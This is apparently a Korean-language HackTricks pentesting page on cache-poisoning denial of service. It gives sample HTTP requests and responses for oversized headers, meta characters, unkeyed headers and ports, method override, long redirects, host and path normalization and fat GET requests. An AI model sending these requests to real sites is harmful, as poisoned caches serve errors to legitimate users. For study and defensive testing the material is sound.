Cache Poisoning to DoS

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

이 페이지에서는 웹 서버가 캐시 서버에 유효한 요청에 오류로 응답하도록 시도하는 다양한 변형을 찾을 수 있습니다.

  • HTTP 헤더 오버사이즈 (HHO)

웹 서버가 지원하는 것보다 크고 캐시 서버가 지원하는 것보다 작은 헤더 크기로 요청을 보냅니다. 웹 서버는 400 응답으로 응답할 수 있으며 이 응답은 캐시될 수 있습니다.

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Character (HMC) & Unexpected values

및 과 같은 유해한 메타 문자를 포함하는 헤더를 전송합니다. 공격이 작동하려면 먼저 캐시를 우회해야 합니다.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

잘못 구성된 헤더는 \:만 헤더로 인식될 수 있습니다.

예기치 않은 값이 전송되는 경우에도 작동할 수 있습니다. 예를 들어 예상치 못한 Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • 키 없는 헤더

일부 웹사이트는 요청에 X-Amz-Website-Location-Redirect: someThing 헤더와 같은 특정 헤더가 포함되어 있으면 오류 상태 코드를 반환할 수 있습니다.

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Method Override Attack (HMO)

만약 서버가 X-HTTP-Method-Override, X-HTTP-Method 또는 X-Method-Override와 같은 헤더를 사용하여 HTTP 메소드를 변경하는 것을 지원한다면, 메소드를 변경하여 유효한 페이지를 요청할 수 있으므로 서버가 지원하지 않는 메소드로 인해 나쁜 응답이 캐시될 수 있습니다:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • 키가 없는 포트

만약 Host 헤더의 포트가 응답에 반영되지만 캐시 키에 포함되지 않은 경우, 사용되지 않는 포트로 리디렉션할 수 있습니다:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • 긴 리다이렉트 DoS

다음 예제와 같이 x가 캐시되지 않으면 공격자가 리다이렉트 응답 동작을 악용하여 리다이렉트가 오류를 반환할 정도로 큰 URL을 보내도록 할 수 있습니다. 그러면 캐시되지 않은 x 키 없이 URL에 액세스하려는 사람들은 오류 응답을 받게 됩니다:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • 호스트 헤더 대소문자 정규화

호스트 헤더는 대소문자를 구분하지 않아야 하지만 일부 웹사이트는 소문자로 예상하여 소문자가 아닌 경우 오류를 반환합니다:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • 경로 정규화

일부 페이지는 데이터를 URLencode하여 경로에 포함시켜 오류 코드를 반환할 수 있지만, 캐시 서버는 경로를 URLdecode하여 URLdecoded 경로에 대한 응답을 저장합니다:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

일부 캐시 서버, 예를 들어 Cloudflare, 또는 웹 서버는 GET 요청에 본문이 포함되어 있으면 중지시킵니다. 따라서 이를 악용하여 유효하지 않은 응답을 캐시할 수 있습니다:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

참고 자료

AWS 해킹을 제로부터 전문가로 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated